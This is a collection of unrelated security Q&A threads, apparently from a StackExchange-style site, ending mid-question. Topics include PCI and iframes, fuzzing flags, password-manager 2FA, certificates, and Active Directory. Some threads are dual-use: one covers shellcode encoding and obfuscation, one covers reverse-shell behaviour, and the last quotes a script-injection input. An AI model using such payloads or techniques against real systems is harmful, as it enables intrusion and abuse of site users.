HTTPS iFrame embedded in HTTP page - PCI implications? I'm currently volunteering at a nonprofit. While researching something unrelated, I noticed that a $sisteragency was using an embedded iFrame to accept online donations. While the frame's source uses HTTPS, the page it's on is HTTP.

$sisteragency uses third-party CRM software to handle donations, provided by $crmcompany. $crmcompany claims to be PCI compliant, but its instructions seem to be built around adding the iFrame to an insecure page. Its knowledge base contains a suggested message to show users that boils down to, "Even though you can't see the padlock or https in the address bar, the part of the page that captures your payment information [the iFrame] is secure." Their YouTube page has a video tutorial where they show the iFrame (with an https src) being added to an http page. Their site even has step-by-step instructions for responding to PCI compliance inquiries from a payment processor (as in, exactly what to enter in each field).

This all seems really shady to me. Couldn't a man in the middle attack modify the iFrame's src, since the containing page is http? Despite $crmcompany's claims, isn't $sisteragency also responsible for PCI compliance ($crmcompany says it is responsible for its clients compliance)? Is $crmcompany being negligent and/or noncompliant by providing instructions for embedded the secure payment system in an insecure page?

Basically, am I right to be so unsettled by all this?

Using an https iframe in an http webpage only protect against passive attackers.

It is not a good solution because:

It doesn't protect against active attacker (they can rewrite the url of the iframe, see sslstrip)
The browser can't display a padlock for https (because the main page is not secure)

The only way to handle data securely is with HTTPS on the full webpage:

Everything is encrypted to even an active attacker can't read the data or modify it (including links)
The user get confirmation from the browser that everything is encrypted (with the padlock)

Note that having that page using https is not enought:
The links to that page should be protected to (imagine if the http home page show a an https link "donation", an attacker can rewrite it). So to really protect a website that handle sensitive data (note that by European law, personal data must be protected) the whole website should use HTTPS.

Using HTTPS + HSTS on the full website is the best way to protect a website that must protect some data, even if it is in a few webpage.

(Sorry, I know it doesn't answer about PCI conformance, only about security.)


How should I compile program for fuzz testing? I'm doing some fuzz testing of a program for which I do have source code.  Should I compile the program with any particular compiler options, to make fuzz testing more effective?  If so, what's the right list of command-line flags to pass to the compiler, to make fuzz testing as effective as possible?

Should I try to explicitly enable stack cookies (gcc -fstack-protector)?  Length checking for stack-allocated buffers (gcc -D_FORTIFY_SOURCE=2)?  Malloc/free checking (env MALLOC_CHECK_=2)?  Glib's debugging allocator (G_SLICE=debug-blocks)?

Would you recommend that I use Mudflap (e.g., gcc -fmudflap -fmudflapir + MUDFLAP_OPTIONS='-mode-check -viol-abort -check-initializations -ignore-reads')?

I'm especially interested in answers for gcc on Linux, but feel free to answer for other platforms as well.

No one suggested a definitive answer, so I ran a tiny experiment.  Based up on this experiment, here is my recommendation so far:
Recommendation. When fuzzing, you might consider setting the environment variables LIBC_FATAL_STDERR_=1 MALLOC_CHECK_=3.  This setting had no measurable performance impact in my experiment, and based upon my results, this setting might slightly increase the number of bugs you detect.
None of the other settings made any detectable difference in my experiment.
Optional. If you want, you can compile with -fstack-protector or -fstack-protector-all, with -O2 -D_FORTIFY_SOURCE=2, and/or with mudflap; and you can run with the environment variable G_SLICE=debug-blocks.  None of them had any measurable performance impact in my experiment.  However, none of them had any impact on the set of bugs found.  So while there was no cost in my experiment, there was also no benefit.
Experimental methodology and details. In each run, I fuzzed ffmpeg with zzuf, using one seed file, for 5000 iterations.  There was one run per setting of compiler flags/environment variables.  I ensured that fuzzing would generate exactly the same set of variant-files in each run, so the only difference was the compiler flags/environment variables.  To measure the performance impact, I measured the CPU+system time to complete fuzzing.  To measure the impact on ability to detect bugs, I recorded which variant-files triggered a detectable crash.
I measured performance, but none of the options had any detectable effect on performance (the differences were < 1% in all cases, and probably due to random noise).
For bug detection power, I MALLOC_CHECK_=3 gave a slight advantage, but none of the other flags or settings made any difference in bug detection power:

MALLOC_CHECK_=3 did have an influence on which variant-files caused a crash.  With no flags, 22 of the 5000 iterations caused a crash.  Another 2 iterations caused a warning message (*** glibc detected *** ...) that, if you knew to look for it, could be used to detect a bug, so if you were smart enough to grep your fuzzing logs for that message, 24 of the 5000 iterations would provide signs of a bug -- whereas if you don't know to grep the logs for that particular warning message, then only 22 of the 5000 iterations provided indications of a bug.  In contrast, when I enabled MALLOC_CHECK_=3, 25 of the 5000 iterations caused a crash, and there was no need to grep the logs.  Thus, MALLOC_CHECK_=3 both is slightly more effective at uncovering signs of a bug, and also reduces the need to postprocess your fuzzing logs specially.
Interestingly, there was one variant-file that crashed the program with no settings but did not crash the program with MALLOC_CHECK_=3, confirming @this.josh's hypothesis that additional checking in some cases might cause us to miss some bugs -- but at the same time, there were 2 variant-files that didn't crash the program with no settings, but that did crash the program with MALLOC_CHECK_=3.  Thus, the benefits of MALLOC_CHECK_=3 outweighed its costs.

Apart from MALLOC_CHECK_, none of the other settings had any influence whatsoever on which variant-files triggered a detectable crash.  The set of variant-files that caused the baseline program (no special flags) to crash was exactly as the set of variant-files that caused the program to crash when compiled with special flags.  Therefore, at least in this experiment, those other settings didn't cost us anything (in performance) -- but also didn't gain us anything (in bug detection power).

My experiment is far from authoritative.  To do this right, one should really try it out with many different programs (not just one), and multiple different seed files (not just one).  So I'd caution you against drawing too many conclusions from this one small experiment.  But I thought the results were interesting nonetheless.


Using public key infrastructure or hashing for personal identification privacy? I've been reading about identity theft recently, and I'm wondering about some possible solutions using the techniques of asymmetric/symmetric/hashing in encryption.  My idea is going to cross those 3 subject areas, so bear with me as I try to explain my question.

I'm wondering whether it is/isn't viable to have something analogous to a public/private key infrastructure, such that the private key is the personal data that is being kept secret. This would also be analogous to symmetric crypto in that only the issuer (government/corporate) and the individual have the originals which are never actually used anywhere but are kept secret.  Since the number only has to identify the individual (and is not sending some message that has to be decrypted) then it need only be verified by one of the 2 parties holding it.  One could also add something analogous to a certification authority, although this would likely come down to implants of some sort which would be unpopular and I don't think they're necessary anyhow since the private info (SSN,DOB,etc) can be kept secret.

The goal is to minimize identity theft, although eradication would probably never happen.  In this system, instead of writing down your DOB, SSN, credit card numbers, or whatever data is exclusive to some entity would instead be known only the 2 parties issuer and individual.  Everyone else, when using that data, would get some public version of it, that can be replaced using another pin/password to encrypt it differently if it gets compromised.  Some form of hash could also be used, since it needs only identify someone as authentic.  So going to the grocery store or applying for college, someone would put down their hashed data and this could be verified within some national system as authentic, and used to identify the individual.  This could be a vast improvement over the current system of simply using some number that is directly related to you such as SSN, DOB, or credit card number, and which can't (without serious difficulty and with poor propagation through the system) be changed.

Perhaps someone can point out the logical and/or logistical problems that would make this impractical.

Something very similar to what you say already happens: eg driving licences.
I prove my identity through possession of a birth certificate / passport, which is validated against a government database (Top level certificate?), and am then provided with a [possibly provisional] driving licence.

From this point on, at almost any time that I need to validate my identity I can do so by showing a driving licence.

For an even more general scheme (although at the moment I can't think of much that a passport isn't enough for?), the main problem seems to be finding an issuer everyone is happy with - many people here in the UK have an issue with the amount of data the government holds about them already. The idea of a single certification authority with access to even more detail than currently held would really worry civil liberties organisations.

Alternatively, perhaps you're discussing a less general scheme than a driving licence, in which case I suggest a 'company/student ID card' as an example? To do this, one uses a higher authority (passport&driving licence) to validate their identity to the company, who then issue a sub-certificate (company ID card) which henceforth they use as suitable proof that the person is indeed a member of staff.


Are there stories of any individuals being affected by Heartbleed? With all the coverage of the technical aspects and doomsday talk, it's hard to get co-workers to listen when they don't see stories of real people being affected by Heartbleed. So is there any evidence of individuals out there actually suffering at the hands of this bug?

No so much of a story.
I found that my little web server I was running was not secure from #heartbleed.
I used the following test 'http://filippo.io/Heartbleed/#secure.jermsmit.com'
After discovering this I logged into my host and issued an apt-get update && apt-get upgrade -y --- once completed all worked just fine.

So much for my little story.


What benefits are there to blocking most search engines? While on a client's site using the corporate network, I see that only a few search engines are allowed.  Google and Bing, possibly others; while my fav DuckDuckGo is blocked, and a few others that I've tried are also blocked.  The search engines are being blocked by the proxy.

What benefit does blocking a search engine have in a large enterprise environment?  This is a financial company, so they do need pretty good security, but it seems odd that search engines would be blocked unless they are whitelisted.

The guest wifi does not have such a blockage, only the corporate network.

I was able to find a page on the intranet explaining some of the proxy rules.  As some of you surmised, there are certain categories, and some categories have whitelists and blacklists associated with them.  Sometimes there are explanations, and some categories are obviously blocked for work reasons (ie porn).  The search engine category doesn't have an explanation, but a few others mention possible data exfiltration as a reason for blocking.  Yet others refer to the benefit of access during working hours, or the lack of any  particular reason to block them.

A few more pieces of info I have gotten:

It seems there is TLS/SSL interception and monitoring by the company.  Standard stuff for a security conscious network nowadays, but if a search provider doesn't allow that via HSTS, then maybe that's a reason to blacklist it?
While I said in a comment that they did not explain the reason, the person who responded did say that DuckDuckGo (specifically) was moved to the blacklist, but they did not know why.
Browsers are managed by the IT department, which is probably how Chrome can talk to Google while being intercepted and not complain about it.

In many jurisdictions, school districts are legally required to have web filtering in place.  Google & Bing are two examples of companies who's "Safe Search" API has been around and stable for some time now.  While DuckDuckGo does have Safe Search abilities, your client's web filtering vendor may not have had the time/motivation to add it into their product.

No mater how innocent the service should be, School kids are very good at using alternate search engines, translation services, etc. to access what folks in power believe they should not...


Password management with two factor authentication I was taking a look at the Dashlane site and noticed that they support two factor authentication for your password 'vault'. One of my biggest concerns surrounding using a password manager was the fact that you can use a single piece of data (your master password) to get access to every single account you have put into it.

Am I right in thinking that authenticating with something such as Google Auth or a Yubikey no longer makes your vault susceptible to being accessed by a bad actor who may have installed a keylogger or remote administration tool on your machine?

I was very interested in 1Password also but noted that they don't actually support two factor authentication in the same way. Instead they generate a 'secret key'.

Do either of the methods used by Dashlane or 1Password provide greater protection from these types of malware?

Dashlane

Dashlane has the option to use 2FA to increase the security of the users data.

  At any time, a user can link his Dashlane account to a 2FA application
  on his mobile. When he attempts to connect into a new device, instead
  of sending him a One-Time Password by email, Dashlane asks the user to
  provide a One-Time password generated by the 2FA application.

From https://www.dashlane.com/download/Dashlane_SecurityWhitePaper_Nov2017.pdf

Not only does Dashlane use 2FA when authorizing a new device to access your account, it can also be used each time you log into your account.

This protects against malware on a user's computer from keylogging the master password and attempting to access their sensitive data. This is because in order to access the user data, a one-time password has to be provided - if a keylogger captures this one-time password when being typed it will be rendered useless for an attacker as a new one will have to be used next time.

1Password

1Password is a little different to Dashlane in that 1Password doesn't use 2FA. It uses something called a Secret Key. This Secret Key is 34 letters and numbers created by

  a non-secret version setting, (“A3”), your non-secret Account ID, and
  a sequence of 26 randomly chosen characters.

From https://1password.com/files/1Password%20for%20Teams%20White%20Paper.pdf

It has 128 bits of entropy and works alongside your master password to secure your data.

An example of a Secret Key could be A3-ASWWYB-798JRY-LJVD4-
23DC2-86TVM-H43EB. The Secret Key is generated when a 1Password account is first created and prevents an attacker who has acquired remotely stored user data from guessing the master password needed to access this data.

The Secret key is used each time you enroll a new client to your device and when you have to authenticate to the server. This can be seen again in the whitepaper for 1Password:

  When enrolling a new device, the user will provide the client with the
  add-device link (possibly in the form of a QR code) and her Master
  Password. The add-device link is generated at the user’s request from
  an already enrolled client and includes the domain name for the team,
  the user’s email address, and her Secret Key.

General

An issue with 1Password is that if the secret key and master password are known, for example from a keylogger, your user data can be viewed. This is different to Dashlane as you can use a one-time password to protect your data, making keylogging ineffective.

However, Dashlane isn't secure against all types of malware. It may be susceptible to malware taking screenshots of a password being viewed in the Dashlane application, as would 1Password.

When using a password manager, you have to accept that there is the possibility of your passwords being discovered since they are stored in a place other than your head.


Does IMAP/POP3/ASP undermine Two-Factor Auth? When I log in to hotmail or Google or posteo I can only log in using the 2FA that I have set up. However, each provider seems to have an alternative for apps that do not auth via a web client.

Hotmail/Google: 16-lowercase-characters "app-specific" password
Posteo: IMAP/POP3

This app-specific password gives any app complete access to your account. I can use the same app specific password from thunderbird to read all the messages using a mailing app on my phone.

In Posteo's case, I simply enter the password as if 2FA was not set up, and I would be able to load any inbox.

Now given the above situations, I really don't understand how IMAP/POP3 and app-specific passwords can exist when 2FA is enabled, as they completely bypass 2FA.

What is the critical thing I'm missing here?

You are not missing anything.

It is a convenience option that usually has to be opted into specifically when 2FA is enabled - and somewhat defies 2FA.

Otherwise, smart phones and email clients would be quite useless, or at least cumbersome.

In the case of smart phone mail clients: for most 2FA options, the smart phone is the second factor, so there is no massive benefit from it either. (And other options might not be possible, for example iPhones cannot use yubikeys).

Nonetheless, 2FA still helps you when the IMAP/POP3/SMTP password is strong and unique for that account and the connection is secured by TLS: you can still not be phished and can use your smartphone and the password can not be brute forced and can not leak (because it is strong and only used there).


VLAN Device Isolation - Feasibility To mitigate the risk of malware propagating through a network, how reasonable is it to place each and every device on its own VLAN (complete isolation)?

Note:

The devices do not need to communicate to each other at all.

Secondary questions:

Would there be any performance losses? (Connection to internet)
Is there a better solution for isolation?

Related:

Why do people tell me not to use VLANs for security?
How do vlans improve security?

VLAN for every single computer will be a headache :-)

I believe you need PVLAN not VLAN, it will isolate layer 2 and interfaces will not be able to communicate with each other (except uplink & trunk ports of course). Could you please review following links, if you need more specific reference, let me know please.

https://www.juniper.net/documentation/en_US/junos/topics/topic-map/private-vlans.html
https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SXF/native/configuration/guide/swcg/pvlans.pdf

From the Juniper's website

  Private VLANs (PVLANs) take this concept a step further by limiting communication within a VLAN. PVLANs accomplish this by restricting traffic flows through their member switch ports (which are called private ports) so that these ports communicate only with a specified uplink trunk port or with specified ports within the same VLAN.

If you have available resource on your devices, I believe this will not effect performance significantly.

As the last words, yes isolation is a important topic but end point security have  many todos so please be sure you considered your antivirus policy, patch management, account permission hardenings, doormant user reviews, etc. :-) If you don't have end point protection solution (for example), eventually this clients will be able to access to somewhere. You will isolate this client computers to communicate with each other but eventually they will talk with printer server or web server... :-)


Can I tell if a python script is secure from transmitting sensitive data by analyzing its imports? A thought experiment
My goal is to know whether, and how, a 3rd party python script that may be entrusted with sensitive information, can be trusted on a fundamental level.
Basically this question is, can a Python script communicate with a 3rd party without importing one of a set of core modules to facilitate a communication?
I ask this in the context of reviewing a script that converts a password database.
https://github.com/asfaltboy/csv2keepass
And at time of writing, the script only imports:
import argparse
import csv
import datetime
import logging
import operator  # Toolkit
import re
import sys
import xml.etree.ElementTree as ET  # Saves data, easier to type

I do not think there are any dynamic imports in this case; Dynamic imports would sew implicit distrust with me due to complexity.
I know the sys module can touch a couple specific streams.
Given a set of known imports, really a dependency chain; Can it be ruled that a given script is fundamentally incapable of exposing sensitive data? Due to its lack of importing native code to facilitate said transport?

Consideration; the open (or file alias) calls are available in all script, since its a core datatype; And due to the flexibility of unix files, should any calls to open/file be considered an attack surface?

You simply can not assume a program or script is safe solely on their imports.
It is to easy to either combine functions or to abuse some 'safe' feature to do something unexpected (like using time queries to transmit data to a command and control server, or tricking the system to running curl with a payload of your data)

The only way to know is to do a proper code review of the script and than evaluate if a script is 'safe' or not (safe being what you define as save to use)
there are no High risk imports being added to the script in your post, but you would also have to check for bash / system / eval commands that 'break out' of the python environment


How should I implement FIDO UAF architecture? I'm new to FIDO (Fast IDentity Online), and want to add FIDO UAF (Universal Authentication Framework) support to my website. I've few queries:

Suppose, I've built my own FIDO Client. Is there any test server where I can test my FIDO Client, or do I have to build my own FIDO Server?
How does a FIDO server confirms whether FIDO client is installed on user's device? How do they communicate? Do they use a specific port on user's device to communicate?

I'm sorry if these questions seem trivial, but it would help me understand the UAF architecture better.

You can test your client with FIDO UAF Conformance Testing tools (https://fidoalliance.org/certification/conformance/), you need to register first. You can also test with your own server, eBay has an open source UAF server on Github.
I think the server will not know if an UAF client was installed unless the client sends an UAF request, however your client needs to match the policy within the UAF request.
The communication between server and client is through HTTP. If you talked about the communication between client and authenticator, then you have implement ASM API


Active measures against lost or stolen PDAs in healthcare? Many physicians, nurses, and technical staff like to carry PDAs to be kept abreast of patient conditions.  Various companies want caretakers to view ECGs on their iPads.

Due to the incredibly private nature of medical records and data, if such a device were part of your network, are there any measures on software to actively erase the data in the event of a lost or stolen tablet or PDA?  Is this feasible to implement as an add-on if that is not the case?

This is the same problem that banks have.  Most major banks have some app you can install on your iphone/ipad/android device that lets you see your balance and perform simple functions.  If you have this set up on your phone, and you lose it, whoever finds it may be capable of transferring money out of your account.

Because this is a problem, apple has a feature as part of their mobileme suite that lets you remotely lock and wipe an iphone (and I believe iPad) that has been lost. Random website describing how to do it

At the very least, I'd put a pass code on it so someone has to log in.  That won't stop someone from ripping it apart and hooking up the SSD directly, but it doesn't hurt anything.


Robust SSL pinning on IoT device with Let’s Encrypt I would like to implement SSL pinning on ESP8266. Since leaf certificate is changing quite often I would like to check for which domain leaf was issued and check that root belong Let’s Encrypt.

To which property should I pin in root? I would like to avoid the situation when certificate expires and I would need to re-flash my device.

It looks like you want to accept any certificate issued by Let's Encrypt for your specific domain. This is done implicitly without any pinning if your only root CA on the device is Let's Encrypt (provided of course that you do the usual proper certificate validation). If you have multiple root CA on the system you might pin at the specific public key of the root CA you want to use.

Another option would be to not care about the CA at all but instead ping against the public key of the leaf certificate. Usually this public key stays the same if one is just renewing a certificate, i.e. one will submit a CSR with the same public key as in the previous certificate. In case the private key was compromised you might also have some more spare keys you could use to create a new certificate and have these setup for pinning on the device too.

I'm not sure what the current capabilities of the ESP8266 platform are currently regarding certificate validation. But as far as I remember there was a time when all it could do was to check for a specific leaf certificate. In this case the second option of pinning against the public key of the leaf certificate and reusing the same key with certificate updates should be easier to implement.


How would you make a comprehensive list of Google domains? If you wanted to block access of a single machine to all sites whose domain is owned or controlled by Google, how would you go about generating a comprehensive list to add to /etc/hosts?  How would you handle Google Apps sites?

Maybe a better solution would be to lookup the IP classes owned (registered) by Google and blacklist (deny) them in a firewall (iptables).

To get the IP classes owned by Google, you could start by gathering IP addresses from different classes (maybe using DNS to resolve different well-known Google domains) and using one of the many online WHOIS services (an example) which indicate how much of that class (the subnet mask) is owned by Google.

Just a side note: getting the IP classes is not quite practical and probably not the only way. Not sure if you can find them somewhere already published...


Prevent Web Login with Credentials Exposed We have a situation here. The client which I work for is currently placed as a finance brokerage firm and their current positioning are:

The firm has different branches in different locations
The firm has a giant customerbase
The firm takes security serious

Now, their requirements specifies these:

Passwords if shared by customers should trigger an OTP to real account
With generation of OTP, the account owner is informed

The question is what can be done to prevent different people using the same shared password or in simple, what are different ways in which the firm can restrict the use of shared password for intended users apart from using OTP?

Note: Earlier they had trading password which alongside with the main password could be shared to the third-party so that's not a reliable option.

If i understand the question correctly you're looking to stop users sharing passwords on a web based system.

A common approach for this is to limit each account to one simultaneous session, and the if a new session is commenced, to terminate the original one.

This reduces the effectiveness of sharing passwords as they can't actually use the system at the same time.

You could also try to detect abuse by noting whether one account was coming from a number of different systems ( e.g. Checking things like user agent or source ip address) and then taking some kind of actions if abuse is detected.


How to share encrypted data between users? I'm in the process of encrypting the user data on my app and have adopted the scheme in this answer to secure user emails, passwords, name and other private details.
I'm using an AES surrogate key and a locking key generated from the password.

So far, so good.

However, I've realized that when I come to the user's status (like a Facebook feed), it's not so straight forward.

Of course, I can encrypt and recover the user's status with the scheme above.
But how do I get the status of their friends to show on the user's feed?
According to the scheme above, I would need to have the friend's password in order to decrypt this. By design, I never see the friend's password, and the user only knows their own password.

The only way I can find is something like this answer that uses a document key and user key implementation.

Do I really have to go to the lengths of implementing OpenPGP?

When a user adds friends, do I then have to somehow add their key to all of the previously encrypted documents? Doesn't seem feasible.
How do the social media companies do it?

The "social media companies" probably do not encrypt data like that when at rest.  Generally speaking, the only data that is likely to be encrypted at rest is that data which is intended only to be accessed by the user themselves.  (Which is not much for most social media systems.)

Though the companies may use some form of full-disk or database encryption, I would be surprised if they used per-user keys for data that is meant to be shared (even with a small set of users).

If you want to be able to encrypt data from one user, and have another user decrypt it without a shared key, you will need some kind of public key cryptography.  (This is essentially the definition difference between asymmetric and symmetric cryptography.)  There's no need to do OpenPGP if you want to keep the data within your own service, you can use something like NaCL or libsodium to perform your cryptographic operations.


Basic questions about shellcode Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing?

How can I convert assembly into hex like in this source code file? I frequently see it being used in payloads. I understand it is done to preserve space, bypass IDS among other reasons.

Example file from the shell storm website

Yes, they are the same thing.

To be more technical, the hex code at the top is "machine code" and what you see at the bottom is a human-readable representation of the machine code which you know to be called "assembly code". The machine code format isn't there to hide the payload - it is the payload. It is literally the the 1s and 0s that a computer would process to run this shellcode. It is just written as hex for convenience.

A shellcode author would typically write the shellcode in assembly and assemble it into machine code using an assembler program like nasm on linux. Although assembly code corresponds to machine code directly (more or less), your computer's processor only runs machine code.

If you want to learn more about using shellcode I recommend Hacking the Art of Exploitation as a good place to start.

There are encoders that can be used to obfuscate shellcode. Many are included in the Metasploit suite. A popular one is Shikata Ga Nai.


Local Smart Card authentication I have a smart card which has PKCS#11 or other similar interface and it contains certificate and private key.

I would like to do a local (no network) authentication of user using the smart card and data on it protected by PIN.

What is a good scheme/algorithm to do it and trust it?

My first idea is to do the following:

Enter username/PIN
Log in as user to smart card (if fails, return false)
Check the validity of certificate (if not valid, return false)
Check if username equals CN in certificate (if not, return false)
Generate random data and sign it using private key on smart card
Check if the signature is valid (if not, return false)
Return true

Does it makes sense? Or are there any standards regarding this?

I suggest the following changes

  Enter username/PIN
  Log in as user to smart card (if fails, return false)

Usually smartcard with digital certificates do not have an "username". The pin it is needed to unlock the private key of the selected certificate

  Check the validity of certificate (if not valid, return false)

Correct, this is needed to filter the available certificates. You can have several (I do not know if this is your scenario)

  Check if username equals CN in certificate (if not, return false)
  This step is usually done after digital signature, because you do not what certificate the user is going to select.

Also you are assuming that user is logged and CN contains the username. When using smartcards to authenticate the process usually is the reverse: The user selects the certificate, and the username is extracted from a certificate attribute (CN, SERIALNUMBER or a custom one)

  Generate random data and sign it using private key on smart card
  Check if the signature is valid (if not, return false)

Check revocation of used certificate
Extract username from certificate and check if it is authorized

  Return true


Why will the syscall will hang for 1min when the Linux audit subsystem reach the backlog limit for the first time? I find that when the audit subsystem reach the backlog limit (set via auditctl -b 1023) for the first time, the current syscall will hang there for about 1 minute. After 1 minute, the lost counter will be increased and the syscall will return. After the first time, if the backlog limit is reached again, the syscall will return and the lost counter will be increased immediately.

Why will the syscall hang for 1 minute the first time?  This behavior would make the system unusable totally for 1 minute. How do I avoid this?

The waiting is done here.

On a recent kernel, you could use auditctl --backlog_wait_time 0 to set audit_backlog_wait_time to 0 to avoid this, but it seems there's nothing we can do on older kernels (e.g. 3.10.104).


Can I prevent Active Directory from accepting common passwords? Active Directory's complexity requirements are rudimentary and I suspect this specific part of Windows security hasn't been improved in a decade or more.

Is there a built-in or 3rd party tool available to setup another check before accepting a new user password?

The problem with relying on complexity requirements is that it's simple to meet the requirement but still have a weak password because of password lists.

"Sorry, that password cannot be used. It is one of the Top 100,000 most common passwords."

There are well-baked drop-in replacements for passfilt.dll that provide more granularity (and doing so is supported by Microsoft). I'm not affiliated, but products like nFront and Anixis PPE give you a lot of options, including blacklisting common passwords.

You can also code your own replacement, but that's probably harder than using an existing package.


How to get a certificate from Let's Encrypt for the server which doesn't allows file creation I am using SSL certificate signed by Verisign for my VPN Server which is hosted on the public network and my company employees use to connect to company network through this server.
The system use to be online 24*7 and it will be a tough to take a downtime.

In my VPN server, i don't have permission to create or modify the web files (or in simple words, i only have GUI of that machine and from GUI, i can only uploads the certificate file like .pem or certificate chain over the server).

Now, i am thinking to go for the certificate from Let's Encrypt server (for the obvious reason of saving some dollars).

I have some doubts in my mind like -

Should i go for Let's Encrypt or not ?
Is it secure to have a certificate from Let's Encrypt ?
Most important question, I had gone through the procedure for getting a certificate from Let's Encrypt; What i understand was that i have to install ACME tool or some scripts which will do the jobs automatically for me.
Now, i have a limitation that my VPN box doesn't allow me to install anything apart from some specific codes (generally patches) provided by OEM.
Also, in procedure, it was mentioned that ACME (or similar other scripts) will create a temporary file with some garbage text for checking the domain ownership by Let's Encrypt program. My Server doesn't have this capabilities.

What should i do to get the SSL certificate from Let's Encrypt.

Should i go for Let's Encrypt or not ?

You may, if you are willing to change it manually every 3 months. But then, its free then why not? You will save a lot of money.

  Is it secure to have a certificate from Let's Encrypt ?

Well they have a pretty clean record, uptill now. You can refer to the link for that. I would suggest they are pretty secure.

  What should i do to get the SSL certificate from Let's Encrypt.

Since you cannot get a downtime and you want to use Let's Encrypt issued certificated. You can do the following to get the certificate:

You would need access to the zone file of your domain, Presuming you would have that.
Download the ACME script give the CSR info to the script, Use link
Use the Use DNS mode of the script, It will ask you to make a txt DNS record.
You will have the PEM files with you, Upload them to the VPN server and thats it you are done.

Update:

OR
Alternatively you can do it in two more ways:

Instead of "Use DNS mode" you can use "Use Standalone server to issue cert"
In this mode Let's encrypt would try to reach your server on port 80.
Whenever anything would try to reach the VPN server on port 80, you can DNAT it to another IP which has the requirements fulfilled. OR you can look out for source of lets encrypt and DNAT whenever the source is lets encrypt.(ofcourse you would need a firewall in between to achieve this)

Hope this helps!


What information is exposed in AD's Service Connection Points (SCP) Active Directory offers a feature called Service Connection Points to publish information to applications so they can discover the relevant server; however the documentation is sparse and I have trouble understanding

Where the information is stored (Configuration partition?)
What information is shared?
How is it secured?
What applications use it (Outlook Autodiscover does, perhaps SCOM too?)

This is especially interesting for situations where we have LDAP sync going or a DSML endpoint exposed.

Any additional information on SCP is appreciated

SCPs should be put in the Domain partition, under the host that provides the service, so that it is correctly replicated.

The SCP contains whatever information the service wants it to. Typically it has some identifiers for the service (so the client can find it) and then connection details for the service (like an IP and port number). But the service can put anything it wants in there, and can even extend the schema if need be - Microsoft don't know what some random service might need, so they kept it general. See http://msdn.microsoft.com/en-us/library/windows/desktop/ms677947%28v=vs.85%29.aspx

It's secured exactly like any other Active Directory client lookup.

Lots and lots of applications use it: it's the way you do service discovery in AD. Certainly all the Microsoft apps will use it, so yes, Exchange and SCOM do. And so do lots of 3rd party vendors.


What is advantage of passing request / response data via cookies instead of regular query parameters? I have a specification where its required to pass all the data in the requests to the server using cookies (instead of body or query parameters) and accept all data from the server using cookies (server must send data back in the cookies too, instead of regular response body).

Communication between servers established using HTTPS.

Can somebody explain what is the motivation of using cookies?

Only thing I can come up with is the person making the specification knows about the security issues inherent in GET requests, does not know about POST requests, and does not know about how many cookie stealing vulnerabilities there have been over the years.

I don't know AJAX very well, but it's my impression there are both secure and non-secure ways to use it as well.


Are those animated video thumbnails generate the same DNS from actual videos? I have a very technical question about the latest feature shown on those video platforms, like YouTube and other.

There’s been a trend lately that the classic still image thumbnails have been transformed to animated video thumbnails (I don’t know if they were gif).

This feature allows users to “preview” the animated content of the video through the thumbnail without them clicking it. You simply just need the mouse cursor to hover over the thumbnail to get “auto-play” loaded.

Now, here’s the real question. When you click the thumbnail to watch a video on a new page. Of course, you would be given a new DNS footprint because you have opened a new page.

But for these “preview thumbnails”, you didn’t create any new page by clicking, but just activated them via hovering over on the same page. Does that mean my DNS footprint was staying the same on the thumbnail page instead of video page.

To put it simply, I don’t my DNS footprint to show I watched that actual video just because I “previewed them on thumbnails without clicking them.

I don’t know how this technology worked but I heard about they were widely adopted by adult video sites, and now by YouTube!

I discovered some insights about how these animated thumbnail were coded:

https://mux.com/blog/instant-gifs-for-animated-video-thumbnails/

I don’t want my ISP to interpret that I clicked 100 videos just because I “previewed” them on these uncontrollable thumbnails. Am I worry to much?

Thanks

Now, here’s the real question. When you click the thumbnail to watch a video on a new page. Of course, you would be given a new DNS footprint because you have opened a new page.

Probably not. DNS is cached extensively. YouTube seems to have TTL of 300s, which means that responses are cached for 300 seconds.

  To put it simply, I don’t my DNS footprint to show I watched that actual video just because I “previewed them on thumbnails without clicking them.

DNS does not show what you watched. It doesn't show the URL. It shows host names, not URLs. It does not say anything about what you loaded.

Furthermore you should remember that modern web applications like YouTube does not execute requests only when you click, but do so more or less continuously in the background.

  I don’t want my ISP to interpret that I clicked 100 videos just because I “previewed” them on these uncontrollable thumbnails. Am I worry to much?

If I were a ISP, and wanted to detect amount of videos you were watching, DNS wouldn't even be part of the equation. But why would an ISP want to do this anyway?


Security concerns surrounding HTTP GET in Web Development I'm currently a developer making my first foray into web development, mostly using C# ASP.NET services such as MVC and Web API. Getting into the HTTP side of things, I'm currently deciding whether or not to be using POST or GET when accessing my data models.

Obviously, I would be using POST when my repository layer is communicating with data sources, but when surmising how my controller will be parsing input from the user (with this being a front-facing web app), I became unnerved thinking about passing somewhat sensitive information values over HTTP GET, seeing as they would be entered through the URL. Remembering in education how much the dangers of SQL injection were beat into us, I have an (unfounded) hunch that I should only be using POST when going to my repository that communicates with my databases.

Am I correct in assuming there are valid security concerns with using HTTP GET to send parameters to a repository layer that communicates with my databases?

Naturally, I would be enforcing validation on both ends, but it feels to me that GET has a broader range of attack than POST. I would like my validation to be narrow and strict.

Over TLS (https) connections, both POST and GET data is encrypted, so there's no difference in that regard.
To avoid SQL injection (or other) issues, you must validate and sanitize all incoming user input regardless of whether POST or GET was used.
Inherently, using POST requests is not more secure, but it's good practice to use POST requests when submitting data that will change (for example) something in the database.
If using GET, there's a bigger risk that your server logging tools will also log sensitive information by default (HTTP request log will contain all data). You can minimize this risk by submitting data with POST.
Also, in some scenarios (depending on your specific usage and needs), having sensitive information in the URL as query parameters (for example /data/something?secret_key=123321) will also be stored in the browser history, and this might be a risk if shared computers are common for your users.


Why wouldn't the reverse shell connect back using the same port that exploited the server? The reverse shell payload from msf use a new port to connect back to the attacker, therefore if the target server has outgoing filters, attack would fail.

i.e
established server:ftp <-> attacker:12345

After exploit

server: 23456  <-> attacker:4444 // why not try to connect the 12345 port?

But why would it use a new port, why not REUSE the existing channel?

Reusing the existing channel requires additional complexity,  its also important to note that not every metasploit module uses a socket to exploit the host.  The shellcode would have to search memory (egghunt...) and find the socket and then use it.  Shellcode is all about being small and simple.

That being said there are other methods of influencing a host behind an exotic firewall.  download+exec shellcode is one method.


If an input field accepts <% data then how can one say there is risk of stored XSS I am having a ASP.Net Web Forms (upgraded to framework 4.0) application that has request validation on all pages. Someone attempting a script injection (entering something like <script>location.href=dangerurl;</script> into a textbox and submitting) will generate an exception as ASP.Net request validation fails for the input control.

On the pages where HTML editors are used (and page validation is OFF) the input content is sanitised using antixss library.

